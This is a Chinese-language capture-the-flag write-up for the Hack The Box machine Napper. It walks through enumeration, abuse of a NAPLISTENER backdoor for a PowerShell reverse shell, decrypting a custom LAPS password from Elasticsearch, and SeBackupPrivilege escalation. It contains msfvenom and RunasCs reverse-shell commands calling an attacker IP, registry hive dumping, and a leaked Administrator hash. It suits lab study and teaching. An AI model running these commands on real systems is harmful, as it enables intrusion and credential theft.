基本信息
- https://app.hackthebox.com/machines/Napper
- 10.10.11.240

端口扫描
80,443:
1 | nmap -sC -sV 10.10.11.240 |
80/443
需要加hosts:
1 | 10.10.11.240 app.napper.htb |
是一个安全研究博客:

子域名扫描
子域名扫描发现internal:
1 | ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "https://app.napper.htb/" -H 'Host: FUZZ.napper.htb' -fs 5602 |
添加hosts后访问,需要认证:

internal
根据前面博客里文章,就是用的示例密码:
1 | New-LocalUser -Name "example" -Password (ConvertTo-SecureString -String "ExamplePassword" -AsPlainText -Force) |
登录进internal blog,发现一篇新的博客:

是对NAPLISTENER的研究,并且也给出了相关参考资料:
- NAPLISTENER: more bad dreams from developers of SIESTAGRAPH — Elastic Security Labs
https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph - NAPLISTENER (Malware Family)
https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener - Custom ‘Naplistener’ Malware a Nightmare for Network-Based Detection
https://www.darkreading.com/threat-intelligence/custom-naplistener-malware-network-based-detection-sleep
并且根据博客中内容
1 | 这意味着对 /ews/MsExgHealthCheckd/ 的任何网络请求,只要在 sdafwe3rwe23 参数中包含 base64 编码的 .NET 程序集,都将在内存中加载并执行。值得注意的是,二进制文件是在一个单独的进程中运行的,它与运行中的 IIS 服务器没有直接关联。 |
我们可以猜测作者是直接在机器上运行测试这个后门,那么我们也可以尝试利用这个后门
NAPLISTENER
根据Elastic的分析文章,首先尝试调用后门接口:
(小坑,Host用app.napper.htb是404,改成napper.htb就200了)

下一步就是如何真的利用这个后门来执行代码,根据Elastic的分析文章,也很容易知道Listener的逻辑,Base64解码后加载加载运行Run:

shell
很简单的写一个执行命令的代码,编译后base64编码,注意ba se64中可能会出现加号,所以也要做一次url编码:
(代码写在Run class中,这样才会实际执行,只写在函数中会被加载但不会被自动执行)
(还有编译选项也会坑,一开始用的release x64不行,换成any cpu就正常了,,net版本用的是4.5.2)
Index.html里是powershell reverse代码,打到ruben用户:



shell.cs
这里用的是dll,用exe的话自己对应改代码:
1 | using System; |
user flag
ruben用户桌面:

信息
上个meterpreter方便后续操作:
1 | msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.16.7 LPORT=443 -f exe -o shell.exe |
简单枚举发现elasticsearch,文件中也可以得到elastic用户密码(文件名不固定也不唯一):
1 | PS C:\Program Files\elasticsearch-8.8.0\data\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index> type _ie.cfs | findstr pass |

custom laps
另外temp目录下一层层往下翻可以看到自己实现的laps,用Elastic来管理,并且可以看到一个exe,应该就是用来管理密码的:


exe下载到本地分析:
1 | cd C:\\Temp\\www\\internal\\content\\posts\\internal-laps-alpha |
elasticsearch
转发端口出来查看:
1 | local |
用的这个浏览器插件:
- cars10/elasticvue: Elasticsearch gui for the browser
https://github.com/cars10/elasticvue/
可以查看到seed和user-00001 ,seed应该是加密用到的seed,user-00001是加密密文,并且这两个数据看起来每分钟都在变:



a.exe
a.exe分析可以知道是golang,使用这个ghidra插件:
- mooncat-greenpy/Ghidra_GolangAnalyzerExtension: Analyze Golang with Ghidra
https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension
根据代码,ES中是seed和加密的blob,调用cmd使用net命令修改backup用户密码:


key
根据genKey函数,使用seed作为随机数种子,key的每个字节是生成的随机数+1:

encrypt
encrypt就是AES CFB之后base64:

Decrypt
根据分析结果,对应解密ES中的数据,得到backup用户最新密码(解出来的应该只有字母数字,如果是二进制数据那就是ES里某个数据已经更新了):
1 | go run decrypt.go 51955490 mLkj8AVXM5it5MWOBPdMk0RemsLwp5JUJrCvHWe8zJfVucsXztLBBkiTh74zMdVq7RwmXGY7ILA= |

使用得到的实时密码得到backup shell(操作要快,因为自动改密码太快了,另外需要--bypass-uac
选项,不然得到的还有UAC,还要重做一次):
- antonioCoco/RunasCs: RunasCs - Csharp and open version of windows builtin runas.exe
https://github.com/antonioCoco/RunasCs
1 | .\RunasCs.exe backup ytkCAMAGNEfDiMAvFpdEVGyNzQotkczpxOstRvNT cmd.exe -r 10.10.16.7:4444 --bypass-uac |


decrypt.go
队友给的:
1 | package main |
backup & root flag
Bypass uac的backup顾名思义,有SeBackupPrivilege:

- Windows Privilege Escalation: SeBackupPrivilege - Hacking Articles
https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/
也可以简单的直接上meterpreter然后hashdump
1 | reg save hklm\sam sam |

root flag
其实backup用户已经是完全体了,可以直接读Administrator的root flag:

hashdump
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:ed5cc50d93a33729acd6df740eecd86c::: |
参考资料
- NAPLISTENER: more bad dreams from developers of SIESTAGRAPH — Elastic Security Labs
https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph - NAPLISTENER (Malware Family)
https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener - Custom ‘Naplistener’ Malware a Nightmare for Network-Based Detection
https://www.darkreading.com/threat-intelligence/custom-naplistener-malware-network-based-detection-sleep - cars10/elasticvue: Elasticsearch gui for the browser
https://github.com/cars10/elasticvue/ - mooncat-greenpy/Ghidra_GolangAnalyzerExtension: Analyze Golang with Ghidra
https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension - antonioCoco/RunasCs: RunasCs - Csharp and open version of windows builtin runas.exe
https://github.com/antonioCoco/RunasCs - Windows Privilege Escalation: SeBackupPrivilege - Hacking Articles
https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/